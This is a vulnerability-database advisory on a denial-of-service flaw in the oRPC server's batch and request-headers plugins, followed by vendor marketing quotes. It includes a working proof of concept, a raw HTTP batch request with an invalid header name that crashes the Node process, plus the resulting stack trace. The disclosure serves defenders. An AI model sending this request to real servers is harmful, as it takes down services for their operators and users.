
Cloud Vulnerability DB
A community-led vulnerabilities database
BatchHandlerPlugin and RequestHeadersPlugin are enabled with default options.server.jsimport { createServer } from "node:http";
import { os, onError } from "@orpc/server";
import { RPCHandler } from "@orpc/server/node";
import { BatchHandlerPlugin, RequestHeadersPlugin } from "@orpc/server/plugins";
const neverTrigger = () => console.log("neverTrigger");
const router = { ping: os.handler(() => "pong") };
const handler = new RPCHandler(router, {
plugins: [new RequestHeadersPlugin(), new BatchHandlerPlugin()],
interceptors: [onError(neverTrigger)],
clientInterceptors: [onError(neverTrigger)],
});
// https://v1.orpc.dev/docs/adapters/http#server-adapters
const server = createServer(async (req, res) => {
const { matched } = await handler.handle(req, res, {
prefix: "/rpc",
context: {},
});
if (matched) return;
res.statusCode = 404;
res.end("Not found");
});
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5075, "127.0.0.1");client.jsimport net from "net";
const body = JSON.stringify([
{ url: "http://127.0.0.1:5075/rpc/ping", headers: { "a b": "1" } },
]);
const socket = net.connect(5075, "127.0.0.1");
socket.write(
`POST /rpc/ping HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Orpc-Batch: 1\r\nContent-Type: application/json\r\nContent-Length: ${body.length}\r\n\r\n${body}`,
);
socket.on("error", console.log);node:internal/deps/undici/undici:4913
return new TypeError(`${message.header}: ${message.message}`);
^
TypeError: Headers.append: "a b" is an invalid header name.
at webidl.errors.exception (node:internal/deps/undici/undici:4913:14)
at webidl.errors.invalidArgument (node:internal/deps/undici/undici:4924:28)
at appendHeader (node:internal/deps/undici/undici:11249:29)
at _Headers.append (node:internal/deps/undici/undici:11500:16)
at toFetchHeaders (node_modules/@orpc/standard-server-fetch/dist/index.mjs:249:20)
at node_modules/@orpc/server/dist/plugins/index.mjs:199:67
at next (@orpc/shared/dist/index.mjs:528:12)
at Object.next (node_modules/@orpc/shared/dist/index.mjs:530:40)
at node_modules/@orpc/server/dist/plugins/index.mjs:59:31
at Array.map (<anonymous>)
Node.js v24.22.3A single unauthenticated HTTP request can terminate the server process, causing a full denial of service.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."